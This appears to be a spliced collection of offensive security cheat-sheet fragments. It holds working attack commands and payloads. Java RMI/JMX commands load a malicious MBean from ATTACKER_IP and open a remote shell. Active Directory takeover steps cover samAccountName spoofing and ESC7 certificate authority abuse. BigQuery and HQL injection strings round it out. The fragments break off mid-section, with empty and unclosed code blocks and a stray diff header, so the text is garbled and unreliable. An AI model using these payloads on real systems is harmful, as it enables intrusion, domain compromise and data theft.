# Java RMI
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
## Summary
* [Exploitation](#exploitation)
* [Requirements](#requirements)
* [Detection](#detection)
* [Remote Command Execution](#remote-command-execution)
* [References](#references)
## Exploitation
### Requirements
- Jython
- The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled
### Detection
```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
```
### Remote Command Execution
The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
* The attacker finally invokes methods from the malicious MBean.
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
```powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell

#### samAccountName spoofing
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller.
**Requirements**
* MachineAccountQuota > 0
**Check for exploitation**
0. Check the MachineAccountQuota of the account
```powershell
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
```
1. Check if the DC is vulnerable
```powershell

```
**Exploitation**
0. Create a computer account
```powershell

powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
```ps1

Mitigation:
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC7 - Vulnerable Certificate Authority Access Control
Exploitation:
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable

```ps1
Certify.exe setconfig /enablesan /restart
```
* Request the certificate with the desired SAN.
```ps1
Certify.exe request /template:User /altname:super.adm

## Detection
* Use a classic single quote to trigger an error: `'`
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
```ps1
# Gathering project id
select @@project_id
# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA
# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```
## BigQuery Comment
```ps1
select 1#from here it is not working
select 1/*between those it is not working*/
```
## BigQuery Union Based
```ps1
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
```
## BigQuery Error Based
```ps1
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
```
## BigQuery Boolean Based
```ps1
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
```
## BigQuery Time Based
* Time based functions does not exist in the BigQuery syntax.

## HQL Comments
@ -49,10 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
## Unicode
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
HQL allows UNICODE symbols in identifiers (function or parameter names).
```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
## Java constants
Method works for most DBMS (does not work for MySQL).
Hibernate resolves Java public static fields (Java constants) in HQL queries:
- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
```java
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
```
Some usable constants in well-known Java libraries:
```
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```
